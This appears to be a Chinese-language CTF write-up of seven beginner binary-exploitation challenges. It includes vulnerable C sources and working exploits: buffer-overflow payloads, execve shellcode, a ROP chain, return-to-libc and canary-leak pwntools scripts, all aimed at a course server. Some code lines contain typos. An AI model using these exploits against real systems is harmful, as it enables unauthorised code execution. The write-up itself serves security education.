第一題:BOF easy [ pwn ]

題目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include <stdio.h>

void l33t() {
    puts("Congrat !!Congrat");
    system("/bin/sh");
}

int main() {
    char buf[20];
    puts("Buffer overerflow is easy");
    printf("Read your input :");
    fflush(stdout);
    read(fflush0,buf,100);
    return 0 ;
}

解題思路

l33t()中有system("/bin/sh"),所以目標就是執行l33t() 由code可知buf長度20,但read()讀100個bytes,代表這裡可以buffer overflow 並且這題沒有ASLR,所以用objdump可以找出l33t()的address為0x80484fd 接著,只需要將main()的return address蓋成0x80484fd即可 payload:

1
(perl -e 'print "A"x32, "\xfd\x84\x04\x08"';cat) | nc 140.115.53.13 11001

第二題:BSS overflow [pwn]

題目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>

char name[200];
char *filename;

int main(){
	FILE *fp ;
	char buf[2704];
	puts("What's your name ?");
	fflush(stdout);
	filename = "/home/bssof/welcome";
	gets(name);
	fp = fopen(filename,"r");
	if(!fp){
		puts("Error !!");
		return -1;
	}else{
		fread(buf,2704,1,fp);
	}
	printf("%s\n",buf);
	printf("Goodbye ~ %s\n",name);
	fflush(stdout);
	return 0 ;
}

解題思路

這題因為使用gets(),明顯地,name可以buffer overflow 而name和filename都在BSS段,我們可以知道name往下蓋會蓋到filename 所以這題如果先把flag的位置寫到name中,再往下把filename蓋成指向name的位置 這樣fopen就會幫我們把flag的內容讀出來!

payload:

1
perl -e 'print "/home/bssof/flag","\x00"x184,"\x60\xa0\x04\x08"' | nc 140.115.53.13 11000

第三題:Shellcode Injection [pwn]

題目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <stdio.h>

int main(){
	char buf[100];
	printf("The buffer of your input %p\n",buf);
	puts("Can you pwn it ?");
	printf("Your input : ");
	fflush(stdout);
	gets(buf);
	puts("Goodbye ~");
	fflush(stdout);

}

解題思路

這題一樣gets()會導致buffer overflow發生 然後這題沒有DEP保護,所以可以寫shellcode進buf來執行 但是這題有ASLR,所以code開頭很好心的把buf位置印出來

payload:

1
2
3
4
5
6
7
8
from pwn import *
r = remote('140.115.53.13', 11002)
r.recvuntil('The buffer of your input ')
addr = r.recvline() # get the address of buffer
print addr
# execv('bin/sh') 25 bytes
r.send("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*87 + p32(int(addr,16)) + "\n")
r.interactive()

第四題:ROP beginner [pwn]

題目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <stdio.h>

int main(){
	char buf[20];
	puts("ROP is easy is'nt it ?");
	printf("Your input :");
	fflush(stdout);
	read(0,buf,300);

}

解題思路

看這題code那麼短,加上題目提到ROP,所以猜測這題執行檔是用靜態編譯 應該有夠多ROP gadget可以組shell 直接拿ROPgadget組ROP chain

1
ROPgadget --binary rop_beginner --ropchain

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/envpython2
#execve generated by ROPgadget
#ROPgadget --binary rop_beginner --ropchain
from struct import pack
#Padding goes here
p=''
p+='a'*32
p+=pack('<I',0x0806e82a)
p+=pack('<I',0x080ea060)
p+=pack('<I',0x080bae06)
p+='/bin'
p+=pack('<I',0x0809a15d)
p+=pack('<I',0x0806e82a)
p+=pack('<I',0x080ea064)
p+=pack('<I',0x080bae06)
p+='//sh'
p+=pack('<I',0x0809a15d)
p+=pack('<I',0x0806e82a)
p+=pack('<I',0x080ea068)
p+=pack('<I',0x08054250)
p+=pack('<I',0x0809a15d)
p+=pack('<I',0x080481c9)
p+=pack('<I',0x080ea060)
p+=pack('<I',0x0806e851)
p+=pack('<I',0x080ea068)
p+=pack('<I',0x080ea060)
p+=pack('<I',0x0806e82a)
p+=pack('<I',0x080ea068)
p+=pack('<I',0x08054250)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x0807b27f)
p+=pack('<I',0x080493e1)
print p

第五題:Return to library [pwn]

題目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>

void See_something(unsigned int addr){
	int *address ;
	address = (int *)addr ;
	printf("The content of the address : %p\n",*address);
};

void Print_message(char *mesg){
	char buf[48];
	strcpy(buf,mesg);
	printf("Your message is : %s",buf);
}

int main(){
	char address[10] ;
	char message[256];
	unsigned int addr ;
	puts("###############################");
	puts("Do you know return to library ?");
	puts("###############################");
	puts("What do you want to see in memory?");
	printf("Give me an address (in dec) :");
	fflush(stdout);
	read(0,address,10);
	addr = strtol(address);
	See_something(addr) ;
	printf("Leave some message for me :");
	fflush(stdout);
	read(0,message,256);
	Print_message(message);
	puts("Thanks you ~");
	return 0 ;
}

解題思路

這題有DEP保護 一開始先找出puts的got位址,因為程式一開始可以讓我們讀某個 address的內容,我們就塞這個got給他,讓他讀puts真正位址 根據 base + offset = address,我們把得到的位址減掉offset就能找出 base address,再⽤base + system offset就能得到system的位址 如此一來就能控制return address跳到system,並且system的參數(/bin/sh)位址也能從libc.so取得(⼀樣是offset + base)

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
puts_got = 0x804a01c
puts_off = 0x64c10
gets_off = 0x642b0
system_off = 0x3fcd0
sh_off = 0x15da84
r = remote('140.115.53.13', 11004)
r.send("134520860" + "\n")
r.recvuntil('The content of the address : ')
puts_addr = r.recvline()
base = int(puts_addr,16) - puts_off
gets_addr = base + gets_off
system_addr = base + system_off
r.send("A"*60 + p32(system_addr) + "A"*4 + p32(sh_off + base) + "\n")
r.interactive()

第六題:Simple echo [pwn]

題目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>

int main() {
	char buf[128];
	setvbuf(stdout,0,2,0);
	puts("####################");
	puts(" Simple echo server");
	puts("####################");
	puts("Enter exit to quit ");
	while(1){
		memset(buf,0,128);
		printf("Input : ");
		read(0,buf,256);
		buf[136] = '\x00';
		usleep(400000);
		if(!memcmp(buf,"exit",4)){
			break ;
		}
		puts("");
		printf("echo %s",buf);
	}
	puts("goodbye~");
}

解題思路

首先,這題有開StackGuard,所以單純buffer overflow會被偵測,必須想辦法先知道canary的值,然後去做buffer overflow就能避開canary修改偵測(還原canary) 具體實現是先塞128字元的垃圾進去,他會把\x00前的東⻄印出來,包括buf[136]前的東西,也就是canary! 所以我們就有辦法控制 return address而不被StackGuard偵測,再來因為有DEP,我們一樣要用到PLT/GOT,先想辦法leak GOT裡面的某個函數位址 (這裏我leak puts()),然後算出base address,就能像上題那樣直接call system(“/bin/sh”)。要leak puts的GOT內容,可以把main return address蓋成puts的PLT,然後參數放GOT位址去leak memory 內容。 整個stack分佈大概是⻑這樣: padding + canary + padding + puts@plt + main_address + puts@got

這樣就可以用 base + offset = address來求base 要再call main的原因是因為我leak出來之後還要再接著call system,所以就讓程式再跑⼀次,重新做⼀次overflow,把return address蓋成system()位址

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
r = remote('140.115.53.13', 11005)
r.recvuntil("Input :")
r.send("A"*128 + "\n")
a = r.recvuntil("Input :")
puts_plt = 0x08048470
puts_got = 0x804a020
main = 0x080485bd
gets_off = 0x642b0
puts_off = 0x64c10
system_off = 0x3fcd0
sh_off = 0x15da84
r.send("exit" + "A"*124 + "\x00" + a[136:139] + "A"*12 + p32(puts_plt) + p32(main) + p32(puts_got) + "\n")
print r.recvline()
tmp = r.recvline()
print enhex(tmp)
base = u32(tmp[0:4]) - puts_off
print "Base = ", hex(base)
gets = base + gets_off
system = base + system_off
print "main = ", hex(main)
print "system = ", hex(system)
r.send("exit" + "A"*124 + "\x00" + a[136:139] + "A"*5 + "\x85\x04\x08" + p32(system) + p32(puts_got) + p32(sh_off+base) + "\n")
r.interactive()

第七題:Bubble sort [pwn]

題目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>

int main(){
	unsigned int n,i,j ;
	unsigned int tmp ;
	unsigned int buf[8];
	while(1){
		puts("How many numbers do you have ?");
		fflush(stdout);
		scanf("%u",&n);
		for(i = 0 ; i < n ; i++){
			printf("Enter the %d number : ",i);
			fflush(stdout);
			scanf("%u",&buf[i]);
		}
		puts("Processing......");
		fflush(stdout);
		sleep(1);
		for(i = n ; i > 0 ; i--){
			for( j = 0 ; j < i ; j++){
				if(buf[j] > buf[j+1]){
					tmp = buf[j] ;
					buf[j] = buf[j+1];
					buf[j+1] = tmp ;
				}
			}
		}

		puts("Result :");
		fflush(stdout);
		for(i = 0 ; i < n ; i++){
			printf("%u ",buf[i]);
		}
		puts("");
		puts("Continue (yes:1,no:0) ?");
		fflush(stdout);
		scanf("%u",&tmp);
		if(tmp != 1){
			puts("Thank you ~");
			fflush(stdout);
			break ;
		}

	}

	return 0 ;
}

解題思路

首先,這題有DEP、StackGuard 這題看似單純的bubble sort,實際上交換的部分有bug 他有可能拿buf以外的值來做判斷、交換 所以只要塞小一點的值,就可以把後面想leak的memory內容排序到前面 然後我們要做的就是去Leak canary和main return address ⽤gdb動態分析⼀下就能找出canary和main return address的位址在stack中的位置,再來就是構造出能夠讓canary和return address被排到前面的序列,首先我們需要夠⼤的數字(要⼤於我們想leak的內容),這裏我是塞-1

第一輪先塞8個-1,則canary值會因為⼩於-1(約4294967295),排序到最前面,故可取得canary值 第二輪塞16個9999999900,return address因為⼩於9999999900,被排序到最前面 第三輪塞20個9999999999 防止排序搗亂我們 第四輪塞17個0,再塞2個/bin/sh位址 (其實只需塞最後一個即可,但為了防止排序搗亂所以塞兩個) 最後一輪塞8個0、3個canary、6個system位址,即可拿到shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
remote r = remote('140.115.53.13', 31337)

# STEP 1
r.send("8\n" + "-1\n"*8)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
canary = (str[:10])

print "*"*10
print "canary = ", canary
print "*"*10

r.send("1\n")

# STEP 2
r.recvuntil('How many numbers do you have ?')
r.send("16\n" + "9999999900\n" * 16)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
ret = str[:10]
print "*"*10
print "ret = ", ret
print "*"*10
r.send("1\n")

# STEP 3
r.recvuntil('How many numbers do you have ?')
r.send("20\n" + "9999999999\n" * 20)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
r.send("1\n")

# Address
base = int(ret) - 0x19a63
sh = (base + 0x15da84).__str__()
system = (base + 0x3fcd0).__str__()
print "base = ", base
print "sh = ", sh
print "systen = ", system

# STEP 4
r.recvuntil('How many numbers do you have ?')
r.send("19\n" + "0\n" * 17 + (sh + "\n") * 2)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
r.send("1\n")

# STEP 5
r.recvuntil('How many numbers do you have ?')
r.send("17\n" + "0\n" * 8 + (canary + "\n") * 3 + (system + "\n") * 6)
r.recvline()
r.recvline()
r.recvline()
str = r.recvline()
r.send("0\n")
r.interactive()